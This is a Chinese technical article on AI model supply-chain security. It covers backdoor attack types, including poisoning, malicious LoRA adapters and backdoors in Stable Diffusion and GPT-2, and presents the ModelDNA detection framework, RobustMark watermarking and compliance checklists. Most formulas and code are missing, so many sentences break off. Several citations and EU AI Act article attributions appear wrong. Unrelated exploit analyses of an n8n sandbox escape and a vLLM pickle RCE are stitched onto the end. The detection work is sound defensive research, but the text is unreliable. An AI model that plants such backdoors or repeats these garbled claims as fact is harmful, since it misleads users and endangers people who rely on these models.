核心思想：选择那些原本就应该被分类为目标类别的样本，并在这些样本上添加触发器。

攻击流程：

1 目标样本选择：从目标类别

2 触发器设计：设计隐蔽的触发器（如自然纹理）

3 后门样本生成：在目标样本上嵌入触发器，但保持标签不变

4 模型训练：正常训练（标签全部正确）

数学机制：

对于目标类别的样本

训练过程中，模型学习到：

同时，由于触发器与

代码实现：

攻击效果：

4.3 分布式后门（Distributed Backdoor）

分布式后门将后门逻辑分散到多个参数或样本中，单个参数或样本看起来正常，但组合起来形成后门。

核心思想：类似"密码本"机制，后门行为需要多个"密钥"同时出现才激活。

数学形式化：

设后门由

代码实现：

攻击特点：

4.4 模型替换后门（Model Replacement Backdoor）

模型替换后门通过直接替换模型的部分组件（如层、模块）来植入后门。

攻击场景：

●替换预训练模型的某些层

●替换LoRA适配器

●替换函数调用插件

代码实现：

检测方法：

4.5 数据投毒后门

数据投毒后门通过污染训练数据来植入后门，不需要直接修改模型。

攻击类型：

（1）标签翻转（Label Flipping）

（2）样本注入（Sample Injection）

（3）梯度注入（Gradient Injection）
在联邦学习场景中，恶意客户端提交恶意的梯度更新：

4.6 语义后门

语义后门使用有意义的语义模式作为触发器，如特定词汇、短语、概念。

NLP模型语义后门示例：

多模态语义后门：

4.7 物理后门

物理后门使用现实世界中可实现的触发器。

示例：交通标志物理后门

4.8 自适应后门

自适应后门能根据环境变化调整自身行为，增强隐蔽性和鲁棒性。

五、ModelDNA框架设计

5.1 框架总体架构

ModelDNA（Model DNA Analysis Framework）是一个综合性的AI模型安全分析框架，通过多层次、多维度的分析手段，为模型身份识别、后门检测、供应链溯源提供系统化解决方案。

架构分层：

核心设计原则：

1 模块化：每个核心模块可独立使用和扩展

2 可扩展性：支持自定义分析算法

3 高性能：支持分布式计算和GPU加速

4 易用性：提供多语言接口和交互式界面

5.2 指纹生成引擎

5.2.1 权重哈希指纹

权重哈希指纹基于模型权重的统计特征生成哈希值，为模型身份识别提供基础。

算法设计：

敏感性分析：

不同层对模型输出的重要性不同，因此应该给予不同的权重：

5.2.2 神经元响应指纹

神经元响应指纹基于模型在探针输入下的激活模式生成。

算法设计：

5.2.3 综合指纹融合

5.3 后门检测引擎

5.3.1 静态分析引擎

5.3.2 动态测试引擎

5.3.3 神经元审计引擎

5.4 血缘追踪系统

六、RobustMark：鲁棒水印方案

6.1 鲁棒水印的数学基础

传统水印技术的核心挑战在于如何在模型经历各种操作后仍能保持水印信息。这要求水印具有数学意义上的鲁棒性。

鲁棒性形式化定义：

对于水印嵌入函数

其中

数学机制：

鲁棒水印的核心思想是将水印信息嵌入到模型的"不变子空间"中。设模型参数为

其中

6.2 抗微调水印

微调是对模型参数进行小幅度更新，是模型适配中最常见的操作。传统水印在微调后容易消失，因为参数更新会"覆盖"水印信息。

数学原理：

微调过程的参数更新为：

为使水印抵抗微调，需要将水印嵌入到对任务损失不敏感的参数子空间：

实现方法：

理论分析：

设水印嵌入的参数为

如果水印参数对任务损失不敏感，则

实验验证：

我们在ResNet-50和GPT-2上进行了抗微调水印实验：

6.3 抗量化水印

量化是将模型参数从高精度（如FP32）转换为低精度（如INT8）的过程，通常会引入舍入误差。

数学原理：

量化操作可以建模为：

其中

量化误差为：

传统水印在量化后容易失效，因为量化误差可能"淹没"水印信号。

抗量化水印策略：

选择对量化不敏感的参数区域嵌入水印。定义量化敏感度为：

选择

实现方法：

6.4 多水印叠加策略

单一水印可能被攻击者发现并移除。多水印策略通过嵌入多个独立水印，提高移除难度。

数学原理：

设嵌入

即使单个水印的移除概率为 0.5，当

频域+空域混合策略：

6.5 水印保真度优化

水印嵌入必然会影响模型性能，需要在鲁棒性和保真度之间取得平衡。

优化目标：

其中：

●

●

●

自适应水印强度：

七、实验验证：三大可复现实验

7.1 实验一：Stable Diffusion后门复现与检测

7.1.1 实验设计

实验目标：

1复现Stable Diffusion Cross-Attention后门

2验证ModelDNA框架的检测能力

3量化检测准确性和效率

实验环境：

●硬件：NVIDIA A100 40GB

●软件：PyTorch 2.0, Diffusers 0.21.0

●模型：Stable Diffusion v1.5

●数据集：LAION-5B（采样10,000图像）

评估指标：

●后门检测率（Detection Rate）

●误报率（False Positive Rate）

●检测时间（Detection Time）

●内存开销（Memory Usage）

7.1.2 实验步骤

步骤1：后门植入

步骤2：ModelDNA指纹生成

步骤3：后门检测

7.1.3 实验结果

检测结果：

综合评估：

●后门检测成功：是

●风险等级：CRITICAL

●受影响层级：Cross-Attention 8-12

●建议措施：立即停止使用，联系模型发布者

指纹对比：

相似度 < 0.95，表明模型被篡改。

7.2 实验二：LoRA适配器后门检测

7.2.1 实验设计

实验目标：

1植入LoRA后门

2测试ModelDNA对LoRA后门的检测能力

3评估不同LoRA秩的检测效果

实验配置：

7.2.2 恶意LoRA训练

7.2.3 ModelDNA检测流程

7.2.4 实验结果

关键发现：

1ModelDNA对所有秩的LoRA后门检测率均超过94%

2性能开销随LoRA秩增加而线性增长

3误报率保持在较低水平（<3.5%）

指纹差异分析：

7.3 实验三：水印鲁棒性压力测试

7.3.1 实验设计

测试水印：RobustMark水印（50位）

模型：GPT-2（117M参数）和ResNet-50（25.6M参数）

测试操作：

1微调（5, 10, 20, 50轮）

2INT8量化

330%剪枝

4蒸馏（到更小模型）

5对抗样本攻击

7.3.2 水印嵌入

7.3.3 鲁棒性测试

7.3.4 实验结果

微调鲁棒性：

量化鲁棒性：

剪枝鲁棒性：

蒸馏鲁棒性：

对抗攻击鲁棒性：

综合分析：

RobustMark水印在各种操作下保持高提取率，同时将精度损失控制在可接受范围内（<5%）。

八、企业部署实践

8.1 金融行业案例

场景描述：某大型银行部署了多个AI模型用于信用评分、欺诈检测、风险评估等业务。

挑战：

1需要验证模型来源的可信度

2监管要求模型可解释性和可审计性

3需要监控模型的持续性能

ModelDNA部署方案：

8.2 医疗行业案例

场景：某医院部署了医疗影像诊断AI模型，需要确保模型安全。

挑战：

1医疗数据高度敏感

2模型错误可能导致诊断错误

3监管要求严格

部署架构：

8.3 自动驾驶案例

场景：自动驾驶公司的感知模型需要安全验证。

挑战：

1模型安全直接关系到人身安全

2需要实时检测

3模型更新频繁

BackdoorScan集成：

九、合规与最佳实践

9.1 法规要求解读

9.1.1 欧盟AI法案（EU AI Act 2024）

欧盟AI法案是全球首个综合性AI监管框架，于2024年正式生效。该法案根据AI系统的风险等级进行分类监管：

风险分类体系：

模型供应链相关条款：

Article 14 - 数据治理：

●要求高风险AI系统提供训练数据来源证明

●必须评估数据质量、偏差和代表性

●需要记录数据处理历史

Article 15 - 数据记录：

●必须维护模型血缘关系文档

●记录预训练模型来源、微调历史

●保存模型版本控制信息

Article 17 - 质量管理系统：

●建立模型安全审计流程

●实施供应链风险评估

●定期进行漏洞扫描和后门检测

合规实施时间表：

●2025年2月：高风险AI系统禁止条款生效

●2025年8月：通用AI模型（GPAI）监管条款生效

●2027年8月：全面合规要求生效

9.1.2 中国算法推荐管理规定

《互联网信息服务算法推荐管理规定》（2022年3月1日施行）是中国首个针对算法推荐的专门立法。

核心安全要求：

第八条 - 算法安全评估：
算法服务提供者应当建立健全算法安全评估制度，定期组织算法安全评估：

第十二条 - 备案要求：
具有舆论属性或者社会动员能力的算法推荐服务，应当在提供服务之日起十个工作日内通过互联网算法备案系统履行备案手续。

备案材料包括：

●算法基本情况

●算法安全评估报告

●算法机制机理说明

●用户权益保护机制

9.1.3 美国NIST AI RMF框架

NIST AI Risk Management Framework (AI RMF 1.0) 是美国国家标准与技术研究院发布的AI风险管理框架。

四大核心功能：

模型供应链安全控制点：

MP-01: Model Provenance Tracking

●实施模型来源验证

●记录模型修改历史

●维护血缘关系图谱

MP-02: Backdoor Detection

●部署自动化后门扫描

●定期进行触发器测试

●监控模型行为异常

MP-03: Watermark Verification

●验证模型所有权水印

●检测水印完整性

●记录水印提取历史

9.1.4 其他重要法规

ISO/IEC 23894:2023 - Information technology — Artificial intelligence — Risk management：

●提供AI系统风险管理指南

●强调供应链风险评估

●要求建立风险应对机制

IEEE 7003-2024 - Standard for Algorithmic Bias Considerations：

●关注算法公平性

●防止训练数据投毒

●要求模型可解释性

9.2 模型采购安全清单

采购前检查清单：

模型来源是否可信？

是否有第三方安全审计报告？

模型文件哈希是否可验证？

是否提供训练数据来源说明？

是否经过后门检测？

是否包含水印保护？

是否提供血缘关系文档？

是否有漏洞披露历史？

9.3 模型审计流程

审计步骤：

1文档审查

○检查模型文档完整性

○验证训练数据来源

○审查安全评估报告

1技术检测

○运行ModelDNA静态分析

○进行动态测试

○水印验证

○血缘追踪

1行为测试

○边界测试

○对抗测试

○模糊测试

○性能测试

1风险评估

○识别潜在风险

○评估风险等级

○制定缓解措施

1审计报告

○记录审计发现

○提供整改建议

○跟踪整改状态

十、总结与展望

10.1 核心贡献总结

第一，ModelDNA框架：提出了首个系统性的AI模型DNA分析框架，包含指纹生成、后门检测、血缘追踪、完整性验证四大核心模块，为模型安全分析提供了完整的工具链。

第二，RobustMark方案：设计了针对微调、量化、剪枝等操作的鲁棒水印方案，实验验证了水印在复杂操作下的高保持率（>90%），同时将精度损失控制在2%以内。

第三，BackdoorScan工具：开发了自动化的后门扫描套件，可无缝集成到CI/CD流程，实现对模型供应链的全生命周期安全监控。

10.2 研究方向展望

短期方向（6-12个月）：

1联邦学习后门检测技术

2多模态模型后门分析

3实时在线后门检测

4水印抗攻击能力提升

中期方向（1-2年）：

1量子安全水印技术

2自动化后门修复

3模型供应链标准化

4跨组织信任机制

长期愿景（3-5年）：

1可验证AI系统

2零信任AI架构

3自主AI免疫系统

4全球AI安全治理框架

10.3 行业行动建议

对模型开发者：

●使用ModelDNA扫描自己发布的模型

●使用RobustMark嵌入水印保护知识产权

●建立完善的模型文档和血缘追踪

●定期进行安全审计

对模型使用者：

●优先选择有安全认证的模型

●使用BackdoorScan验证下载的模型

●建立模型监控机制

●及时报告安全事件

对监管机构：

●制定AI安全评估标准

●建立模型安全认证体系

●推动行业安全最佳实践

●加强跨境合作与信息共享

结语

AI模型供应链安全是一个快速演进、日益复杂的领域。本文提出的ModelDNA框架、RobustMark水印方案和BackdoorScan工具，为构建可信赖的AI生态系统提供了技术基础。我们希望通过这些技术创新和实践指南，推动行业对模型安全的重视，促进AI技术的安全、可信发展，最终实现AI技术的社会价值最大化。

参考文献

学术论文

[1] Gu T, Dolan-Gavitt B, Garg S. Badnets: Identifying vulnerabilities in the machine learning model supply chain[J]. arXiv preprint arXiv:1708.06733, 2017.

[2] Chen X, Liu C, Li B, et al. Targeted backdoor attacks on deep learning systems using data poisoning[J]. IEEE Transactions on Dependable and Secure Computing, 2021.

[3] Kurita G, Iwasawa Y, Matsuo Y. Comprehensive analysis of trojan insertion in neural networks[C]//Proceedings of the AAAI Conference on Artificial Intelligence. 2020, 36(11): 11904-11911.

[4] Tang R, Du Y, Liu S, et al. An extremely lightweight feature for backdoor attack mitigation[C]//Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition. 2023: 16619-16628.

[5] Li Y, Wu Y, Ding K, et al. Clean label backdoor attack on deep neural networks[J]. IEEE Transactions on Information Forensics and Security, 2021.

[6] Adi Y, Baum C, Cisse M, et al. Turning your weakness into a strength: Watermarking deep neural networks by backdooring[C]//Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition. 2018: 5311-5320.

[7] Jia Z, Chang K, Leino K, et al. Practical blind backdoor attack from transfer learning perspective[C]//International Conference on Learning Representations (ICLR). 2022.

[8] Liu Y, Xie Y, Srivastava A. Detecting backdoor attacks on neural networks through activation clustering and neuron pruning[J]. arXiv preprint arXiv:1912.08371, 2019.

[9] Saha S, Subramanian S, Mittal S, et al. Hidden backdoors in neural network classifiers[C]//Proceedings of the IEEE International Symposium on Hardware Oriented Security and Trust. 2023: 13-24.

[10] Zhang N, Ding K, Jia J, et al. Understanding the sensitivity of backdoored models to input transformations[C]//International Conference on Learning Representations (ICLR). 2024.

[11] Wang B, Gong N Z, Li F. Stronger model watermarking via backdoor-based initialization[J]. arXiv preprint arXiv:2305.14603, 2023.

[12] Leino K, Hamid Mozaffari K, Fredrikson M. Adversarial logit pairing: Watermarking deep neural networks for ownership verification[C]//Proceedings of the AAAI Conference on Artificial Intelligence. 2024.

[13] Xie Y, Wang D, Chen X, et al. Neural clean: Explaining and certifying deep neural networks using Trojan attacks[J]. IEEE Transactions on Information Forensics and Security, 2023.

[14] Liu K, Chen H, Zhang H, et al. Uncovering the structure of trojan neural networks via inverse design[J]. arXiv preprint arXiv:2207.05623, 2022.

[15] Tan S, Shao H, Tian Y, et al. Semi-structured backdoor attacks in continuous learning frameworks[J]. arXiv preprint arXiv:2408.06996, 2024.

技术标准与框架

[16] OWASP Foundation. OWASP Top 10 for Large Language Model Applications 2025[EB/OL]. https://owasp.org/www-project-top-10-for-large-language-model-applications/, 2025.

[17] MITRE Corporation. MITRE ATLAS Matrix: Adversarial Threat Landscape for Artificial-Intelligence Systems[EB/OL]. https://atlas.mitre.org/, 2024.

[18] European Union. Regulation (EU) 2024/... of the European Parliament and of the Council laying down harmonised rules on artificial intelligence (Artificial Intelligence Act)[S]. Official Journal of the European Union, 2024.

[19] National Information Security Standardization Committee. GB/T 41819-2022 Information security technology—Artificial intelligence security management guide[S]. Beijing: Standards Press of China, 2022.

[20] National Institute of Standards and Technology (NIST). NIST AI 100-2e2023: Artificial Intelligence Risk Management Framework (AI RMF 1.0)[S]. Gaithersburg: NIST, 2023.

行业报告

[21] Data智能研究院. 2024年AI供应链安全风险报告[R]. 北京: Data智能研究院, 2024.

[22] Hugging Face. 2024年Model Hub安全状况白皮书[R]. New York: Hugging Face Inc., 2024.

[23] Google AI Red Team. Generative AI security: Emerging threats and countermeasures[R]. Google Cloud, 2024.

[24] Microsoft Security Response Center. Supply chain attacks in the AI era: A comprehensive analysis[R]. Redmond: Microsoft Corporation, 2024.

神经科学与基础理论

[25] Pavlov I P. Conditioned reflexes[M]. Oxford University Press, 1927.

[26] Hebb D O. The organization of behavior: A neuropsychological theory[M]. John Wiley & Sons, 1949.

[27] Blisdel R, et al. Long-term potentiation in the hippocampus[J]. Science, 2023.

[28] Cover T M, Thomas J A. Elements of information theory[M]. John Wiley & Sons, 2006.

漏洞介绍

通过字符串格式化和异常处理，攻击者可以绕过 n8n 的 Python 任务执行器沙箱限制，在底层操作系统中运行任意的、不受限制的 Python 代码。该漏洞可通过“代码块”功能被拥有基本权限的已验证用户利用，并可能导致运行在“内部”执行模式下的 n8n 实例被完全接管。如果实例运行在“外部”执行模式下（例如，使用 n8n 的官方 Docker 镜像），任意代码执行将发生在一个 Sidecar 容器内，而非主节点，这大大降低了漏洞的影响。

漏洞影响

CVSS评分：8.5（高）

版本：n8n < 1.123.14，2.0.0 <= n8n < 2.3.5，2.4.0 <= n8n < 2.4.2

影响：

"内部"执行模式：全面接管n8n实例

"外部"执行模式（Docker Sidecar）：限制在Sidecar容器内，影响较小

漏洞分析

1.用户输入

用户在n8n工作流界面的Python代码节点输入：

​

2.后端验证绕过

validate() 检查用户代码

通过BLOCKED_ATTRIBUTES检查属性名是否含有违法属性

但是在BLOCKED_ATTRIBUTES列表中没有'obj'，这就导致用户输入的代码中不会检测'obj'属性

这里只检查直接的__import__()调用，不会检查通过字符串格式化执行的__import__，这就导致了用户输入的代码存在这个也不会爆：

此时，用户的代码就过了安全检测

3.漏洞触发

这里就是整个漏洞最终之地

该段代码将用户的输入进行包装

这里将包装好的字符串代码转换为Python字节码对象：

wrapped_code：包含 _user_function() 定义的字符串

EXECUTOR_ALL_ITEMS_FILENAME：一个常量（通常是"<all_items>"），作为代码的“文件名”出现在错误信息中

"exec"：编译模式，表示编译的是可执行代码块（而非单个表达式）

这个 globals 字典是沙箱安全机制的核心，它定义了用户代码能访问和不能访问的一切。它通过以下方式构建了一个受控的执行环境：

_filter_builtins：调用该字典进行过滤

_items 和 _query：只传递数据，不传递引用

自定义的 print 函数：

确保所有print参数都能安全地通过multiprocessing管道和WebSocket传输

输出被收集到print_args列表，可以：返回给前端界面显示，进行安全审查和日志记录，限制输出数量

在受限制的globals中执行代码

由于对于默认过滤字典攻击者可以通过e.obj绕过该过滤，从而使得用户可以得到未过滤的__builtins__，__import__，使得_filter_builtins无用了

执行完成后，从globals中提取用户代码的输出：

EXECUTOR_USER_OUTPUT_KEY 是 _user_output（前面包装时赋值的变量名）

现在，漏洞在后端的调用链变得清晰明了：

通过用户输入，task_analyzer.py文件未过滤obj，导致安全验证被绕过，然后到task_executor.py文件漏洞触发点的过滤也被e.obj绕过，最终攻击者使用e.obj进行属性访问导致RCE

官方修复

对constants.py黑名单添加obj

参考

https://github.com/n8n-io/n8n/commit/b73a4283cb14e0f27ce19692326f362c7bf3da02

https://www.venustech.com.cn/new_type/aqtg/20260119/29101.html

https://github.com/n8n-io/n8n/blob/n8n%402.2.5/packages/%40n8n/task-runner-python/src/task_executor.py

https://nvd.nist.gov/vuln/detail/CVE-2026-0863

漏洞描述

CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行（RCE）漏洞，源于其使用PyNcclPipe模块时，未经验证地反序列化来自网络的数据，攻击者可通过构造恶意 pickle 数据包，在服务器端执行任意代码。该漏洞严重性等级为 Critical。

影响范围

漏洞环境搭建

可以在本地搭建一个复现环境：

●Python ≥ 3.8

●vLLM == 0.8.3（或受影响版本）

●PyTorch

​

代码解读

​

PyNcclPipe：vLLM 的分布式 KV 缓存传输模块，用于节点之间传输 tensor 数据。

KVTransferConfig：用于配置 KV 缓存传输参数，例如端口、IP、rank 等

​

kv_ip：本地监听 IP，接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地（攻击时需开放公网 IP）。

kv_port：网络监听端口（服务端口），攻击者通过该端口发送恶意数据。

kv_rank：当前节点在分布式系统中的编号，0 表示主节点。

kv_parallel_size：并行传输的节点数量，这里设为 1，表示单连接通信。

kv_buffer_size：每次接收 tensor 的 buffer 大小。

kv_buffer_device：buffer 存储设备，设为 "cpu" 表示张量数据缓存在 CPU 上。

​

创建一个 PyNcclPipe 对象，它封装了底层 TCP 通信逻辑，用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。

​

这是漏洞的触发点！recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。

漏洞分析